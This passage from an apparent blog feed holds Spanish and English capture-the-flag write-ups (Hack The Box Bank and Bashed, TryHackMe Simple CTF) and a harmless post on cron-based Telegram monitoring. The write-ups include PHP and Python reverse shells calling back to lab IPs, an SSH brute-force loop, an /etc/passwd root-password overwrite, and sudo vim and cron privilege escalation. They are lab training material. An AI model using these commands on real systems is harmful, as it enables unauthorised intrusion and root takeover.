                            <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">required</span> <span class="hljs-attr">style</span>=<span class="hljs-string">'position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;'</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fileToUpload"</span> <span class="hljs-attr">size</span>=<span class="hljs-string">"40"</span>  <span class="hljs-attr">onchange</span>=<span class="hljs-string">'$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
                        <span class="hljs-symbol">&amp;nbsp;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">'label label-info'</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"upload-file-info"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>Por lo visto si le agregamos .htb a un archivo estariamos ejecutando codigo <code>php</code> del lado del servidor, con esta informacion vamos a crear una reverse shell de php con extension .htb, algo asi como <code>reverse.php.htb</code></p>
<p>Algo asi</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
exec(<span class="hljs-string">"/bin/bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.34/4444 0&gt;&amp;1'"</span>);
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Previo a esto vamos a abrir un servidor de netcat en el puerto deseado (en mi caso 4444)</p>
<pre><code class="lang-bash">nc -lvpn 4444
</code></pre>
<p>Una vez subido nuestro archivo con la reverse shell con extension <code>.htb</code> vamos a hacerle click donde esta el <code>attachment</code> que dice <code>Click here</code></p>
<p>Esto va a ejecutar el codigo php y obtenemos reverse shell!</p>
<p><img src="https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/4.png" alt="img" /></p>
<p>En la carpeta <code>/home/chris/user.txt</code> tenemos la primera flag donde podemos verla con el usuario actual.</p>
<h2 id="heading-root-flag">Root Flag 🖥</h2>
<p>Para enumerar el sistema voy a usar un script llamado <code>linpeas</code> el cual sirve para encontrar vulnerabilidades en los sistemas. Tenemos que subirlo a la maquina lo cual vamos a primero en nuestra maquina host levantar un server de python donde tenemos el script.</p>
<pre><code class="lang-bash">sudo python3 -m http.server 8000
</code></pre>
<p>Despues en la maquina target vamos a hacer</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> /tmp
wget &lt;TU_IP:8000&gt;/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
</code></pre>
<p>En el reporte de linpeas podemos ver lo siguiente</p>
<pre><code class="lang-bash">Interesting writable files owned by me or writable by everyone (not <span class="hljs-keyword">in</span> Home) (max 500)                                                                       
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation<span class="hljs-comment">#writable-files                                                                                         </span>
/etc/passwd
</code></pre>
<p>Viendo que tenemos permisos de escritura en el <code>/etc/passwd</code> podemos agregarle una password al usuario <code>root</code> de la siguiente manera</p>
<pre><code class="lang-bash">openssl passwd hola
P6afTBIDyFGYE
</code></pre>
<p>Esto lo vamos a agregar en /etc/passwd</p>
<pre><code class="lang-bash">www-data@bank:/tmp$ cat /etc/passwd                                                                                                                             
root:x:0:0:root:/root:/bin/bash                                                                                                                       
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                                                              
bin:x:2:2:bin:/bin:/usr/sbin/nologin
</code></pre>
<p>Donde va la x en root, vamos a agregar el hash que nos dio el <code>openssl</code></p>
<pre><code class="lang-bash">root:P6afTBIDyFGYE:0:0:root:/root:/bin/bash
</code></pre>
<p>Ahora vamos a hacer un <code>su</code> y escribimos la password que usamos antes <code>hola</code></p>
<p><img src="https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/5.png" alt="img" /></p>
<h2 id="heading-conclusion">Conclusion 🏁</h2>
<p>Felicitaciones! Si llegaste hasta aca es porque lograste hacer el root de la maquina <code>Bank</code> de Hack The Box. Espero que hayas aprendido algo nuevo.</p>
<p>Si tenes alguna duda o consideras que algo se puede mejorar me podes contactar atravez de mis <a target="_blank" href="https://links.jonathan.com.ar/">redes</a></p>
<p>Si necesitas ayuda con escenarios mas dificiles o simplemente queres compartir sobre lo que te gusta en comunidad, te invito a unirte a <a target="_blank" href="https://discord.gg/GjJyVDCAwH">HTB Argentina</a></p>
]]></content:encoded></item><item><title><![CDATA[Bashed Writeup [ES] - Hack the Box]]></title><description><![CDATA[Descripcion 📕
Hoy vamos a hacer la maquina Bashed la cual es una maquina retirada, dificultad EASY.
Requerimientos para esta maquina:

nmap
dirsearch/feroxbuster (o similar)
conocimientos basicos de programacion
wordlists

Links utiles 🔗

https://w...]]></description><link>https://blog.jonathan.com.ar/bashed-writeup-es-hack-the-box</link><guid isPermaLink="true">https://blog.jonathan.com.ar/bashed-writeup-es-hack-the-box</guid><category><![CDATA[htb]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[hacking]]></category><category><![CDATA[spanish]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Tue, 20 Feb 2024 01:48:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1708393374142/eda99138-d63b-4146-819c-35b486b8d421.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-descripcion">Descripcion 📕</h2>
<p>Hoy vamos a hacer la maquina <code>Bashed</code> la cual es una maquina retirada, dificultad EASY.</p>
<p>Requerimientos para esta maquina:</p>
<ul>
<li>nmap</li>
<li>dirsearch/feroxbuster (o similar)</li>
<li>conocimientos basicos de programacion</li>
<li>wordlists</li>
</ul>
<h2 id="heading-links-utiles">Links utiles 🔗</h2>
<ul>
<li>https://www.revshells.com/</li>
<li>https://github.com/y3rb1t4/htb-arg/blob/main/00-my-notes/shell-interactive.md</li>
<li>https://www.kali.org/tools/feroxbuster/</li>
<li>https://github.com/DominicBreuker/pspy?tab=readme-ov-file</li>
</ul>
<h2 id="heading-user-flag">User Flag 🧑</h2>
<p>Primero vamos a empezar por scanear la maquina con nmap:</p>
<pre><code class="lang-shell">nmap --open -T4 --min-rate 5000 -sV -o open -Pn 10.10.10.68
</code></pre>
<p>Esto nos va a dar como resultado lo siguiente:</p>
<pre><code class="lang-shell">Nmap scan report for 10.10.10.68 (10.10.10.68)
Host is up (0.25s latency).
Not shown: 906 closed ports, 93 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 18 20:32:21 2024 -- 1 IP address (1 host up) scanned in 15.96 seconds
</code></pre>
<p>Con la informacion de que solo el puerto 80 esta abierto, nos vamos a dirigir a la pagina web y ver que podemos encontrar.</p>
<p><img src="https://github.com/jd-apprentice/hack-the-box/blob/main/machines/bashed/assets/web.png?raw=true" alt="web" /></p>
<p>Por lo visto es una app llamada phpbash, la cual se usa para ejecutar bash desde el navegador. Como ya nos encontramos en el index y no veo ninguna otra url, vamos a intentar buscar directorios con <code>feroxbuster</code>:</p>
<pre><code class="lang-shell">feroxbuster --insecure -u http://10.10.10.68/ -m GET,PUT,POST -o ferox -w ~/Documents/Security/wordlists/common.txt
</code></pre>
<p>Dentro de la respuesta larga que obtuvimos hay una url que me resulta interesante la cual es <code>http://10.10.10.68/dev/phpbash.php</code>. Vamos a entrar a esa url.</p>
<p><img src="https://github.com/jd-apprentice/hack-the-box/blob/main/machines/bashed/assets/shell.png?raw=true" alt="shell" /></p>
<p>Efectivamente tenemos una shell aca, vamos a aprovechar y hacer una reverse shell para obtener acceso a la maquina.</p>
<p>Desde nuestra maquina</p>
<pre><code class="lang-shell">nc -lvnp 4444
</code></pre>
<p>Desde la terminal web</p>
<pre><code class="lang-shell">python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
</code></pre>
<p><img src="https://github.com/jd-apprentice/hack-the-box/blob/main/machines/bashed/assets/reverse.png?raw=true" alt="reverse" /></p>
<p>Una vez que tenemos acceso a la maquina, vamos a estabilizar la shell.</p>
<pre><code class="lang-shell">python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
CTRL + Z
stty raw -echo ; fg
export TERM=xterm
export SHELL=bash
</code></pre>
<p>Para encontrar el user.txt lo que hice primero fue hacer un <code>cd /home</code> para ver los usuarios de ahi intente entrar a la home de ambos, tanto <code>arrexels</code> como <code>scriptmanager</code>. En la de <code>arrexels</code> encontre el user.txt.</p>
<h2 id="heading-root-flag">Root Flag 🖥</h2>
<p>Ahora para la root, vamos a intentar algo simple, <code>sudo -l</code> para ver que podemos hacer con sudo.</p>
<pre><code class="lang-shell">Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
</code></pre>
<p>Asi que lo primero que vamos a hacer es pasarnos a <code>scriptmanager</code> con <code>sudo -u scriptmanager /bin/bash</code> y luego vamos a ver que podemos hacer con este usuario.</p>
<p>Viendo el root, hay una carpeta que solo el usuario  <code>scriptmanager</code> puede acceder la misma se llama <code>scripts</code> y dentro de ella hay un archivo llamado <code>test.py</code>.</p>
<pre><code class="lang-py">f = open(<span class="hljs-string">"test.txt"</span>, <span class="hljs-string">"w"</span>)
f.write(<span class="hljs-string">"testing 123!"</span>)
f.close
</code></pre>
<p>No tiene nada interesante, veamos si este archivo se esta usando en algun lado, para eso vamos a usar una herramienta llamada <code>pspy</code> la cual nos va a mostrar los llamados de este archivo en sus procesos.</p>
<p>Para eso vamos a necesitar subir esto, como las maquinas de htb no resuelven github como para poder hacer un wget, vamos a tener que hacer un <code>python -m http.server</code> y luego hacer un <code>wget</code> desde la maquina.</p>
<p>Desde nuestra maquina</p>
<pre><code class="lang-shell">python -m http.server 8000
</code></pre>
<p>Desde la maquina de htb</p>
<pre><code class="lang-shell">wget &lt;ip&gt;:8000/pspy64
</code></pre>
<p>Ahora desde la maquina de htb</p>
<pre><code class="lang-shell">chmod +x pspy64
./pspy64 test.py
</code></pre>
<pre><code class="lang-shell">2024/02/19 16:46:09 CMD: UID=0     PID=1      | /sbin/init noprompt 2024/02/19 16:47:01 CMD: UID=0     PID=1502   | python test.py 
2024/02/19 16:47:01 CMD: UID=0     PID=1501   | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done 
2024/02/19 16:47:01 CMD: UID=0     PID=1500   | /usr/sbin/CRON -f
</code></pre>
<p>Esperando un rato por lo visto hay un cronjob que esta ejecutando todos los archivos <code>.py</code> que estan en la carpeta <code>scripts</code>. Vamos a hacer un script sencillo para obtener el root flag.</p>
<pre><code class="lang-py"><span class="hljs-keyword">import</span> os; os.system(<span class="hljs-string">'cat /root/root.txt &gt;&gt; flag.txt'</span>)
</code></pre>
<p>Con esto cuando el cronjob se ejecute, va a escribir el contenido de <code>root.txt</code> en <code>flag.txt</code>.</p>
<p><img src="https://github.com/jd-apprentice/hack-the-box/blob/main/machines/bashed/assets/root.png?raw=true" alt="root" /></p>
<h2 id="heading-conclusion">Conclusion 🏁</h2>
<p>Felicitaciones! Si llegaste hasta aca es porque lograste hacer el root de la maquina <code>Bashed</code> de Hack The Box. Espero que hayas aprendido algo nuevo.</p>
<p>Si tenes alguna duda o consideras que algo se puede mejorar me podes contactar atravez de mis <a target="_blank" href="https://links.jonathan.com.ar/">redes</a></p>
<p>Si necesitas ayuda con escenarios mas dificiles o simplemente queres compartir sobre lo que te gusta en comunidad, te invito a unirte a <a target="_blank" href="https://discord.gg/GjJyVDCAwH">HTB Argentina</a></p>
]]></content:encoded></item><item><title><![CDATA[Simple CTF [EASY] Writeup  - Try Hack Me]]></title><description><![CDATA[Files used in this blog are here
Port scan 🔍
First we start by scanning the ports
nmap -p- -T4 --min-rate 5000 -vvv -o fullscan 10.10.226.232

-p1- means all ports
-T4 is for an aggressive scan
--min-rate 5000 is used to tell how many packages per s...]]></description><link>https://blog.jonathan.com.ar/simple-ctf-writeup-try-hack-me</link><guid isPermaLink="true">https://blog.jonathan.com.ar/simple-ctf-writeup-try-hack-me</guid><category><![CDATA[hacking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Fri, 16 Feb 2024 04:27:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1708058150291/5813ca88-25d7-41f7-ab7e-f19913318e2c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Files used in this blog are <a target="_blank" href="https://github.com/jd-apprentice/try-hack-me/tree/master/machines/simple_ctf">here</a></p>
<h2 id="heading-port-scan">Port scan 🔍</h2>
<p>First we start by scanning the ports</p>
<pre><code class="lang-bash">nmap -p- -T4 --min-rate 5000 -vvv -o fullscan 10.10.226.232
</code></pre>
<p><code>-p1-</code> means all ports
<code>-T4</code> is for an aggressive scan
<code>--min-rate 5000</code> is used to tell how many packages per second are we sending
<code>-vvv</code> is verbose
<code>-o</code> is for file output</p>
<pre><code># Nmap <span class="hljs-number">7.80</span> scan initiated Fri Feb <span class="hljs-number">16</span> <span class="hljs-number">00</span>:<span class="hljs-number">10</span>:<span class="hljs-number">54</span> <span class="hljs-number">2024</span> <span class="hljs-keyword">as</span>: nmap -p- -T4 --min-rate <span class="hljs-number">5000</span> -vvv -o fullscan <span class="hljs-number">10.10</span><span class="hljs-number">.226</span><span class="hljs-number">.232</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">10.10</span><span class="hljs-number">.226</span><span class="hljs-number">.232</span> (<span class="hljs-number">10.10</span><span class="hljs-number">.226</span><span class="hljs-number">.232</span>)
Host is up, received syn-ack (<span class="hljs-number">0.27</span>s latency).
Scanned at <span class="hljs-number">2024</span><span class="hljs-number">-02</span><span class="hljs-number">-16</span> <span class="hljs-number">00</span>:<span class="hljs-number">10</span>:<span class="hljs-number">54</span> <span class="hljs-number">-03</span> <span class="hljs-keyword">for</span> <span class="hljs-number">42</span>s
Not shown: <span class="hljs-number">65532</span> filtered ports
<span class="hljs-attr">Reason</span>: <span class="hljs-number">65532</span> no-responses
PORT     STATE SERVICE      REASON
<span class="hljs-number">21</span>/tcp   open  ftp          syn-ack
<span class="hljs-number">80</span>/tcp   open  http         syn-ack
<span class="hljs-number">2222</span>/tcp open  EtherNetIP<span class="hljs-number">-1</span> syn-ack

Read data files <span class="hljs-keyword">from</span>: <span class="hljs-regexp">/usr/</span>bin/../share/nmap
# Nmap done at Fri Feb <span class="hljs-number">16</span> <span class="hljs-number">00</span>:<span class="hljs-number">11</span>:<span class="hljs-number">36</span> <span class="hljs-number">2024</span> -- <span class="hljs-number">1</span> IP address (<span class="hljs-number">1</span> host up) scanned <span class="hljs-keyword">in</span> <span class="hljs-number">41.57</span> seconds
</code></pre><h2 id="heading-ftp-anonymous-login">FTP Anonymous login 🤿</h2>
<p>Now since there is a port open at 21, we can try to do a anonymous login.</p>
<pre><code class="lang-shell">ftp 10.10.226.232
Connected to 10.10.226.232.
220 (vsFTPd 3.0.3)
Name (10.10.226.232:user): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt;
</code></pre>
<p>Now we are inside!
We can verify by running a command like ls</p>
<pre><code class="lang-shell">ftp&gt; ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
ftp&gt;
</code></pre>
<p>If we see something like passive mode, just type <code>passive</code> and will enter active mode.</p>
<p>If we dig inside the folder <code>pub</code> there is a file called <code>ForMitch.txt</code> we are going to download that with <code>get &lt;file_name&gt;</code></p>
<p>And in our local computer we do a <code>cat &lt;file_name&gt;</code></p>
<p>We got the following response                       </p>
<pre><code>Dammit man... you<span class="hljs-string">'te the worst dev i'</span>ve seen. You set the same pass <span class="hljs-keyword">for</span> the system user, and the password is so weak... i cracked it <span class="hljs-keyword">in</span> seconds. Gosh... what a mess!
</code></pre><h2 id="heading-brute-force">Brute force 👊</h2>
<p>So we know that their user is the same for the system and that contains a weak password</p>
<p>Since the message mentions a name we are going to asume that the user is mitch, now we should try to brute force the password.</p>
<p>I'm going to use a package called <code>sshpass</code> in order to send the password from a wordlist that I got from internet and create a simple script like this</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-keyword">for</span> password <span class="hljs-keyword">in</span> $(cat weak_passwords.txt); <span class="hljs-keyword">do</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Trying password: <span class="hljs-variable">$password</span>"</span>
    sshpass -p<span class="hljs-variable">$password</span> ssh -p 2222 -o StrictHostKeyChecking=no -o IdentitiesOnly=yes mitch@10.10.226.232
<span class="hljs-keyword">done</span>
</code></pre>
<p>After a long time trying I got the password!</p>
<p><img src="https://cdn.discordapp.com/attachments/875262629516546089/1207900279333199892/image.png?ex=65e153cc&amp;is=65cedecc&amp;hm=f10e079c83ce76d0ef103f93239475bac703dfa0bb84abfb9b4890f60a8db799&amp;" alt="img" /></p>
<h2 id="heading-obtain-the-flags">Obtain the flags 🏁</h2>
<p>If we do a <code>ls</code> we can see that the <code>user.txt</code> flag is there, take it and continue!</p>
<p>One of the first things you always do in a system (even before trying things like linpeas) is to do a simple <code>sudo -l</code> to see if there is something that can be run with sudo.</p>
<pre><code class="lang-shell">$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
</code></pre>
<p>And of course there he's, we can use <code>sudo vim</code></p>
<p>Lets do a <code>sudo vim</code> then type <code>:</code> and after <code>! ls /root</code> and press enter, with this we are going to see if the root flag is there.</p>
<p><img src="https://cdn.discordapp.com/attachments/875262629516546089/1207904023848681492/image.png?ex=65e15749&amp;is=65cee249&amp;hm=cc9c11435367658b1909cbcd34d61c2c217c1466165f4555d13152167076fcf5&amp;" alt="img" /></p>
<pre><code class="lang-shell">$ sudo vim

root.txt
</code></pre>
<p>And there it is! just like before but this time with <code>! cat /root/root.txt</code></p>
<p><img src="https://cdn.discordapp.com/attachments/875262629516546089/1207904509829971980/image.png?ex=65e157bc&amp;is=65cee2bc&amp;hm=353a242df153233f154100e3f5760595cf9629bf4fa718cb2d44ea7f6501b1c3&amp;" alt="img" /></p>
<p>Congratulations you got your flag!</p>
]]></content:encoded></item><item><title><![CDATA[Bash scripting  and cronjobs]]></title><description><![CDATA[Bash scripting and cronjobs ⏰
Anything mentioned here can be found in this repository
In this blog post I will show you how do I use multiple bash scripts with cronjobs to monitor a few things of my homelab.
What is cronjob? 🤔
Cron is a time-based j...]]></description><link>https://blog.jonathan.com.ar/bash-scripting-and-cronjobs</link><guid isPermaLink="true">https://blog.jonathan.com.ar/bash-scripting-and-cronjobs</guid><category><![CDATA[Linux]]></category><category><![CDATA[Bash]]></category><category><![CDATA[shell scripting]]></category><category><![CDATA[jobs]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sun, 21 Jan 2024 22:49:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1705877620833/ff8d64b9-f210-4da9-b423-b861051c172c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-bash-scripting-and-cronjobs">Bash scripting and cronjobs ⏰</h1>
<p>Anything mentioned here can be found in this <a target="_blank" href="https://github.com/jd-apprentice/jd-server">repository</a></p>
<p>In this blog post I will show you how do I use multiple bash scripts with cronjobs to monitor a few things of my homelab.</p>
<h2 id="heading-what-is-cronjob">What is cronjob? 🤔</h2>
<p>Cron is a time-based job scheduler in Unix-like computer operating systems. Users that set up and maintain software environments use cron to schedule jobs to run periodically at fixed times, dates, or intervals.</p>
<h2 id="heading-what-is-bash-scripting">What is bash scripting? 🤔</h2>
<p>Bash is a Unix shell and command language written used by the GNU Project as a free software replacement for the Bourne shell.</p>
<h2 id="heading-requirements">Requirements 🧰</h2>
<ul>
<li>self-hosted server</li>
<li>telegram account</li>
<li>curl</li>
</ul>
<h2 id="heading-decide-what-you-want-to-monitor">Decide what you want to monitor 📝</h2>
<p>In this example I will show you how do I monitor one of my services <code>cloudflared</code> which is a reverse tunnel to my homelab. I want to be notified when something goes wrong with it.</p>
<h3 id="heading-first-example">First example 📝</h3>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># 0 * * * * alerts</span>
<span class="hljs-comment"># alias alerts='sh $HOME/scripts/alerts.sh'</span>

TOKEN=<span class="hljs-string">""</span>
CHAT_ID=<span class="hljs-string">""</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"🛑 Checking if cloudflared is running"</span>

<span class="hljs-comment">## https://www.cyberciti.biz/faq/systemd-systemctl-list-all-failed-units-services-on-linux/</span>
isRunning=$(systemctl is-active cloudflared)

<span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">$isRunning</span>"</span> != <span class="hljs-string">"active"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"🚨 cloudflared is not running"</span>
    curl -X POST -H <span class="hljs-string">"content-type: application/json"</span> -d <span class="hljs-string">"{\"chat_id\": \"<span class="hljs-variable">$CHAT_ID</span>\", \"text\": \"🚨 cloudflared is not running\", \"disable_notification\": true}"</span> https://api.telegram.org/bot<span class="hljs-string">"<span class="hljs-variable">$TOKEN</span>"</span>/sendMessage
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"🛑 Running monitor"</span>
monitor=$(journalctl -u cloudflared -S <span class="hljs-string">"<span class="hljs-subst">$(date -d <span class="hljs-string">"-1 hour"</span> +%Y<span class="hljs-string">"-%m-%d "</span>%T)</span>"</span> | awk <span class="hljs-string">'/ERR/'</span> | tail -n 5)

<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$monitor</span>"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"✅ No errors found"</span>
    <span class="hljs-built_in">exit</span> 0
<span class="hljs-keyword">fi</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"🚨 Error found"</span>

curl -X POST -H <span class="hljs-string">"content-type: application/json"</span> -d <span class="hljs-string">"{\"chat_id\": \"<span class="hljs-variable">$CHAT_ID</span>\", \"text\": \"🚨 Error: <span class="hljs-variable">$monitor</span>\", \"disable_notification\": true}"</span> https://api.telegram.org/bot<span class="hljs-string">"<span class="hljs-variable">$TOKEN</span>"</span>/sendMessage
</code></pre>
<p>At the top of the script we have shebang <code>#!/bin/bash</code> which tells the system that this is a bash script. Then we have two variables <code>TOKEN</code> and <code>CHAT_ID</code> which are used to send messages to telegram. You can get your token from <a target="_blank" href="https://t.me/botfather">BotFather</a> and your chat id from <a target="_blank" href="https://t.me/myidbot">IDBot</a>. Then we have a few <code>echo</code> commands which are used to print out some text in the terminal. Then we have <code>isRunning</code> variable which checks if the service is running. If it's not running then we send a message to telegram and exit the script. If it's running then we run <code>monitor</code> variable which checks for errors in the last hour. If there are no errors then we exit the script. If there are errors then we send a message to telegram.</p>
<h3 id="heading-second-example">Second example 📝</h3>
<p>This one is running something like this -&gt;</p>
<pre><code class="lang-bash">0 * * * * sh <span class="hljs-variable">$HOME</span>/scripts/alerts.sh &gt;&gt; <span class="hljs-variable">$HOME</span>/logs/alert.log
</code></pre>
<p>The end result is this -&gt;</p>
<p><img src="https://cdn.discordapp.com/attachments/875262629516546089/1198759041523011594/image.png?ex=65c0125b&amp;is=65ad9d5b&amp;hm=1ab149f268ea37b17a3208a3c0c4a9396e65de150bb115c08b35eb8853a36316&amp;" alt="img" /></p>
<p>The good thing is you can have channels for multiple purposes. These are the ones I have -&gt;</p>
<p><img src="https://cdn.discordapp.com/attachments/875262629516546089/1198759234305802431/image.png?ex=65c01289&amp;is=65ad9d89&amp;hm=b9f443e786713d2f419cfea1f0e4013a5cc85c1219c9ec2e0bdeafa2303f76f4&amp;" alt="img" /></p>
<p>For the backup script I'll do this -&gt;</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># Usage 'backup directory/*'</span>
<span class="hljs-comment"># 0 3 * * 1 backup $HOME/www/*</span>
<span class="hljs-comment"># alias backup='sh $HOME/scripts/backup.sh'</span>

TOKEN=<span class="hljs-string">""</span>
CHAT_ID=<span class="hljs-string">""</span>

<span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">$#</span>"</span> -eq 0 ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"🟩 Usage: <span class="hljs-variable">$0</span> directory/*"</span>
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-keyword">if</span> ! [ -x <span class="hljs-string">"<span class="hljs-subst">$(command -v curl)</span>"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"❌ Error: curl is not installed."</span> &gt;&amp;2
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-comment"># https://unix.stackexchange.com/questions/24630/whats-the-best-way-to-join-files-again-after-splitting-them</span>
date=$(date +%F)
tar -zcvf backup-<span class="hljs-string">"<span class="hljs-variable">$date</span>"</span>.tar.gz <span class="hljs-string">"<span class="hljs-variable">$@</span>"</span>
split --bytes=49M backup-<span class="hljs-string">"<span class="hljs-variable">$date</span>"</span>.tar.gz

<span class="hljs-comment"># https://gist.github.com/HirbodBehnam/d7a46fac29f5e1f664d467d5a05620dd</span>
<span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> x*; <span class="hljs-keyword">do</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"💾 Uploading <span class="hljs-variable">$file</span>"</span>
    curl -X POST -H <span class="hljs-string">"content-type: application/json"</span> -d <span class="hljs-string">"{\"chat_id\": \"<span class="hljs-variable">$CHAT_ID</span>\", \"text\": \"Date: <span class="hljs-variable">$date</span>\nFile: <span class="hljs-variable">$file</span>\", \"disable_notification\": true}"</span> https://api.telegram.org/bot<span class="hljs-string">"<span class="hljs-variable">$TOKEN</span>"</span>/sendMessage
    curl -X POST -H <span class="hljs-string">"content-type: multipart/form-data"</span> -F document=@<span class="hljs-string">"<span class="hljs-variable">$file</span>"</span> -F chat_id=<span class="hljs-string">"<span class="hljs-variable">$CHAT_ID</span>"</span> https://api.telegram.org/bot<span class="hljs-string">"<span class="hljs-variable">$TOKEN</span>"</span>/sendDocument
<span class="hljs-keyword">done</span>

rm backup-<span class="hljs-string">"<span class="hljs-variable">$date</span>"</span>.tar.gz x*
<span class="hljs-built_in">echo</span> <span class="hljs-string">"🚀 Backup completed!"</span>
</code></pre>
<p>Note that I'm compressing the files and then splitting them into 49MB chunks. This is because telegram has a limit of 50MB per file. Then I'm sending the files to telegram. If I need them at one piece I can use <code>cat x* &gt; backup.tar.gz</code> to join them back.</p>
<h2 id="heading-conclusion">Conclusion 📝</h2>
<p>As you may see this is a very simple way to monitor your services and get notified when something goes wrong. You can use this for anything you want. I'm using this for my backups, services, etc. You can also use this to monitor your server's resources like CPU, RAM, etc. You can also use this to monitor your website's uptime. The possibilities are endless.</p>
<h2 id="heading-bonus">Bonus 🎉</h2>
<p>Want to monitor from outside your infrastructure? You should look into <a target="_blank" href="https://www.openstatus.dev/">openstatus</a> it has a small free tier, a incredible user experience, incident management and multiple locations to monitor from.</p>
<p><img src="https://cdn.discordapp.com/attachments/875262629516546089/1198760816103661598/image.png?ex=65c01402&amp;is=65ad9f02&amp;hm=76467b79ca8927b8b98220828235e19bf5ff427073edd29f89d2499867da8719&amp;" alt="img" /></p>
]]></content:encoded></item></channel></rss>